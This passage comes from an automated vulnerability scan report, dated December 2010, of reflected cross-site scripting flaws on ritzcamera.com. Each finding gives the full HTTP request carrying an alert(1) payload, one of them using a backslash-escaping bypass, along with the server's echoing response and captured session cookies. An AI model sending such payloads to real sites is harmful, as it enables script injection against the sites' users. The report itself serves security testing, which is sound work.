IS3_GSV=DPL-0_TES-1293336527_PCT-1293336527_GeoIP-*_GeoCo-_GeoRg-_GeoCt-_GeoNs-_GeoDm-

Response

HTTP/1.1 200 OK
Connection: close
Server: IBM_HTTP_Server
X-Ritz-Cache-Control: DO-NOT-CACHE
P3P: CP="IDC DSP DEVa TAIa OUR BUS UNI STA",policyref="/w3c/p3p.xml"
Opt: http://www.w3.org/2000/P3Pv1
Content-Language: en-US
Content-Type: text/html; charset=ISO_8859-1
Date: Sun, 26 Dec 2010 04:36:50 GMT
ETag: "pv1270e63f357710b98a72501a7b06fec9"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
X-PvInfo: [S10203.C11265.A40383.RA0.G0.UD00CBC6C].[OT/html.OG/pages]
Vary: Accept-Encoding
Accept-Ranges: none
Content-Length: 1061


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>RitzCamera.com</title>
<script src="/ga.js" type="text/javascript"></script>
<script
...[SNIP]...
<script type="text/javascript">trackEvent("Generic Error", "Unknown", "_ERR_CMD_CMD_NOT_FOUND: Command not found: \"SiteLogicView1dac3\\";alert(1)//eb528791591\"." + " " + location.pathname);</script>
...[SNIP]...

1.15. http://www.ritzcamera.com/webapp/wcs/stores/servlet/SiteLogicView [storeId parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ritzcamera.com
Path:   /webapp/wcs/stores/servlet/SiteLogicView

Issue detail

The value of the storeId request parameter is copied into the HTML document as plain text between tags. The payload af71a<img%20src%3da%20onerror%3dalert(1)>fb93b79e3a0 was submitted in the storeId parameter. This input was echoed as af71a<img src=a onerror=alert(1)>fb93b79e3a0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/SiteLogicView?storeId=10001af71a<img%20src%3da%20onerror%3dalert(1)>fb93b79e3a0&catalogId=10001&langId=-1&action=getCartCount HTTP/1.1
Host: www.ritzcamera.com
Proxy-Connection: keep-alive
Referer: http://www.ritzcamera.com/product/EP92657417.htm?utm_medium=cpc&utm_source=Become
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=0000DoIJgWX0FjK76nXDXZWGfov:13iapteqv; WC_SESSION_ESTABLISHED=true; WC_ACTIVEPOINTER=%2d1%2c10001; WC_USERACTIVITY_-1002=%2d1002%2c10001%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cDRHtg2wACM0Adzo4BKwmBq%2fn%2bcdAcvktYI8%2b%2bO2E0MHmqfL%2bhE8duOLJTTXjFHPBpD15djfe1UQc%0aeIt5%2bj4ziXgGHN9NvhgAZDx6R%2b8wHZC6ONufrxkLLOAX3yXZxwUv4dMyANFoQ5g%3d; WC_GENERIC_ACTIVITYDATA=[591010345%3atrue%3afalse%3a0%3awsaregpwFC15FUBsruVRJ9wAWJA%3d][com.ibm.commerce.context.base.BaseContext|10001%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.catalog.businesscontext.CatalogContext|10001%26null%26false%26false%26false][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10001%2610001%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; sourcecode=B2PR11; source=B2PR11; __utmz=139061164.1293336523.1.1.utmcsr=Become|utmccn=(not%20set)|utmcmd=cpc; __utma=139061164.3307532131750810000.1293336523.1293336523.1293336523.1; __utmc=139061164; __utmb=139061164.1.10.1293336523; IS3_History=0-0-0____; IS3_GSV=DPL-0_TES-1293336527_PCT-1293336527_GeoIP-*_GeoCo-_GeoRg-_GeoCt-_GeoNs-_GeoDm-

Response

HTTP/1.1 200 OK
Connection: close
Server: IBM_HTTP_Server
P3P: CP="IDC DSP DEVa TAIa OUR BUS UNI STA",policyref="/w3c/p3p.xml"
Opt: http://www.w3.org/2000/P3Pv1
Content-Language: en-US
Content-Type: text/html
Date: Sun, 26 Dec 2010 04:36:41 GMT
ETag: "pvfb376960b1b93283f55ec9bc04693439"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
X-PvInfo: [S10203.C11265.A40383.RA0.G0.U133A0B65].[OT/html.OG/pages]
Vary: Accept-Encoding
Accept-Ranges: none
Content-Length: 8116

<!--
//********************************************************************
//*-------------------------------------------------------------------
//* Licensed Materials - Property of IBM
//*
/
...[SNIP]...
<TD>The following command exception has occurred during processing: "java.lang.NumberFormatException: For input string: "10001af71a<img src=a onerror=alert(1)>fb93b79e3a0"".</TD>
...[SNIP]...

1.16. http://www.ritzcamera.com/webapp/wcs/stores/servlet/TrackOrderStatus [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ritzcamera.com
Path:   /webapp/wcs/stores/servlet/TrackOrderStatus

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3c8b2\"%3balert(1)//01a964fdb96 was submitted in the REST URL parameter 5. This input was echoed as 3c8b2\\";alert(1)//01a964fdb96 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

GET /webapp/wcs/stores/servlet/TrackOrderStatus3c8b2\"%3balert(1)//01a964fdb96 HTTP/1.1
Host: www.ritzcamera.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000DoIJgWX0FjK76nXDXZWGfov:13iapteqv; __utmz=139061164.1293336523.1.1.utmcsr=Become|utmccn=(not%20set)|utmcmd=cpc; WC_SESSION_ESTABLISHED=true; sourcecode=B2PR11; source=B2PR11; IS3_History=1292880176-1-22_27-1-__27_; IS3_GSV=DPL-2_TES-1293336527_PCT-1293336527_GeoIP-174.121.222.18_GeoCo-_GeoRg-_GeoCt-_GeoNs-unknown_GeoDm-; WC_GENERIC_ACTIVITYDATA=[591010345%3atrue%3afalse%3a0%3awsaregpwFC15FUBsruVRJ9wAWJA%3d][com.ibm.commerce.context.base.BaseContext|10001%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.catalog.businesscontext.CatalogContext|10001%26null%26false%26false%26false][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10001%2610001%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utma=139061164.3307532131750810000.1293336523.1293336523.1293336523.1; __utmc=139061164; WC_ACTIVEPOINTER=%2d1%2c10001; __utmb=139061164.1.10.1293336523; WC_USERACTIVITY_-1002=%2d1002%2c10001%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cDRHtg2wACM0Adzo4BKwmBq%2fn%2bcdAcvktYI8%2b%2bO2E0MHmqfL%2bhE8duOLJTTXjFHPBpD15djfe1UQc%0aeIt5%2bj4ziXgGHN9NvhgAZDx6R%2b8wHZC6ONufrxkLLOAX3yXZxwUv4dMyANFoQ5g%3d;

Response

HTTP/1.1 200 OK
Connection: close
Server: IBM_HTTP_Server
X-Ritz-Cache-Control: DO-NOT-CACHE
P3P: CP="IDC DSP DEVa TAIa OUR BUS UNI STA",policyref="/w3c/p3p.xml"
Opt: http://www.w3.org/2000/P3Pv1
Content-Language: en-US
Content-Type: text/html; charset=ISO_8859-1
Date: Sun, 26 Dec 2010 04:44:25 GMT
Content-Length: 1064
ETag: "pv47d7825f2a40c9ba4b6d3ccc42a37790"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
X-PvInfo: [S10203.C11265.A40383.RA0.G0.UD6BDEB0B].[OT/html.OG/pages]
Vary: Accept-Encoding
Accept-Ranges: none


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>RitzCamera.com</title>
<script src="/ga.js" type="text/javascript"></script>
<script
...[SNIP]...
<script type="text/javascript">trackEvent("Generic Error", "Unknown", "_ERR_CMD_CMD_NOT_FOUND: Command not found: \"TrackOrderStatus3c8b2\\";alert(1)//01a964fdb96\"." + " " + location.pathname);</script>
...[SNIP]...

1.17. http://www.ritzcamera.com/webapp/wcs/stores/servlet/TrackOrderStatus [storeId parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ritzcamera.com
Path:   /webapp/wcs/stores/servlet/TrackOrderStatus

Issue detail

The value of the storeId request parameter is copied into the HTML document as plain text between tags. The payload bb445<img%20src%3da%20onerror%3dalert(1)>e15812f6e75 was submitted in the storeId parameter. This input was echoed as bb445<img src=a onerror=alert(1)>e15812f6e75 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/TrackOrderStatus?storeId=10001bb445<img%20src%3da%20onerror%3dalert(1)>e15812f6e75&catalogId=10001&langId=-1 HTTP/1.1
Host: www.ritzcamera.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000DoIJgWX0FjK76nXDXZWGfov:13iapteqv; __utmz=139061164.1293336523.1.1.utmcsr=Become|utmccn=(not%20set)|utmcmd=cpc; WC_SESSION_ESTABLISHED=true; sourcecode=B2PR11; source=B2PR11; IS3_History=1292880176-1-22_27-1-__27_; IS3_GSV=DPL-2_TES-1293336527_PCT-1293336527_GeoIP-174.121.222.18_GeoCo-_GeoRg-_GeoCt-_GeoNs-unknown_GeoDm-; WC_GENERIC_ACTIVITYDATA=[591010345%3atrue%3afalse%3a0%3awsaregpwFC15FUBsruVRJ9wAWJA%3d][com.ibm.commerce.context.base.BaseContext|10001%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.catalog.businesscontext.CatalogContext|10001%26null%26false%26false%26false][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10001%2610001%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utma=139061164.3307532131750810000.1293336523.1293336523.1293336523.1; __utmc=139061164; WC_ACTIVEPOINTER=%2d1%2c10001; __utmb=139061164.1.10.1293336523; WC_USERACTIVITY_-1002=%2d1002%2c10001%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cDRHtg2wACM0Adzo4BKwmBq%2fn%2bcdAcvktYI8%2b%2bO2E0MHmqfL%2bhE8duOLJTTXjFHPBpD15djfe1UQc%0aeIt5%2bj4ziXgGHN9NvhgAZDx6R%2b8wHZC6ONufrxkLLOAX3yXZxwUv4dMyANFoQ5g%3d;

Response

HTTP/1.1 200 OK
Connection: close
Server: IBM_HTTP_Server
P3P: CP="IDC DSP DEVa TAIa OUR BUS UNI STA",policyref="/w3c/p3p.xml"
Opt: http://www.w3.org/2000/P3Pv1
Content-Language: en-US
Content-Type: text/html
Date: Sun, 26 Dec 2010 04:44:39 GMT
Content-Length: 8119
ETag: "pv9d8b115f8de750c3fcd15582bf727f19"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
X-PvInfo: [S10203.C11265.A40383.RA0.G0.UD1A92EF6].[OT/html.OG/pages]
Vary: Accept-Encoding
Accept-Ranges: none

<!--
//********************************************************************
//*-------------------------------------------------------------------
//* Licensed Materials - Property of IBM
//*
/
...[SNIP]...
<TD>The following command exception has occurred during processing: "java.lang.NumberFormatException: For input string: "10001bb445<img src=a onerror=alert(1)>e15812f6e75"".</TD>
...[SNIP]...

Report generated by XSS.CX at Mon Dec 27 10:22:23 CST 2010.